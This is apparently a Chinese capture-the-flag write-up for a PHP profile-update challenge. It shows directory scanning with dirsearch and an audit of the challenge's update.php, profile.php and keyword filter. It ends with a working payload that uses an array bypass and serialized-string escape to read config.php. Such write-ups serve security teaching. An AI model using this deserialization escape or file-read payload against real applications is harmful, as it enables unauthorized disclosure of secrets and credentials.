看到一个登录框,尝试了弱密码爆破,sql注入也想试一下,都没成功,看来需要注册账号,但是页面上没有注册账号的按钮,理论上来讲可以用后台扫描扫一下后天看看有没有其他的页面或者内容的,但是buuctf扫描太快会显示429,不过我们可以猜一下注册页面应该是register.php。打开一看果然有注册页面。
登录成功之后,修改个人信息,可以看到在这里有文件上传选项,想要尝试文件上传获取shell的方式没有成功。上传了一个正常信息之后,
扫描后台可以使用这个命令可以缓解429的情况,这条命令给扫描加了个延时,
dirsearch -u http://03ac7628-2235-4ec1-838d-9ad73597826d.node3.buuoj.cn/ -s 2 -i 200
扫描结果可以看到有备份的源码。
代码审计
我们可以从config.php中找到flag。
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>
注册和登陆界面没有可以攻击的地方我们的重点还是放在update.php和profile.php上。。
下面时update.php的代码。
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>
<!DOCTYPE html>
<html>
<head>
<title>UPDATE</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;">
<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Please Update Your Profile</h3>
<label>Phone:</label>
<input type="text" name="phone" style="height:30px"class="span3"/>
<label>Email:</label>
<input type="text" name="email" style="height:30px"class="span3"/>
<label>Nickname:</label>
<input type="text" name="nickname" style="height:30px" class="span3">
<label for="file">Photo:</label>
<input type="file" name="photo" style="height:30px"class="span3"/>
<button type="submit" class="btn btn-primary">UPDATE</button>
</form>
</div>
</body>
</html>
<?php
}
?>
看代码可以看到我们输入的内容被过滤了一层,其中对nickname的限制还有长度要<10,但是我们传入nickname的内容是一个数组,就可以绕过长度限制。
我们在php的代码看到序列化函数,这里可以尝试反序列化漏洞。
$user->update_profile($username, serialize($profile));
让我们看一下update_profile函数的具体内容。
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
我们看到最后会调用父类的update方法将内容写入数据库。filter函数就是通过正则表达式过滤用户输入,将非法值替换为hacker。
public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); }
至此update.php就已经了解清楚了,下面是profile.php的代码。
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
<!DOCTYPE html>
<html>
<head>
<title>Profile</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<img src="https://img-blog.csdnimg.cn/2022010704411147136.gif" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Hi <?php echo $nickname;?></h3>
<label>Phone: <?php echo $phone;?></label>
<label>Email: <?php echo $email;?></label>
</div>
</body>
</html>
<?php
}
?>
我们可以看到这里的代码,有反序列化以及文件读取。
flag在config.php中,而且有serialize、unserialize、filter、file_get_contents,这几个关键字组合在一起就是ctf中常见的反序列字符逃逸的常见套路。构造包含config.php的数据,利用字符串逃逸,在profile.php中读取出来。
详细步骤:
注册账户、登陆账户、随意提交一些资料抓包、修改nickname为nickname[],数组绕过长度检测、修改nickname中的内容。
抓包重放,修改nickname为nickname[]
nickname的值为
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
此时,config.php的内容就把photo的位置顶替了,此时访问profile.php,没有图片,查看图片的值base64解码可以获取到flag。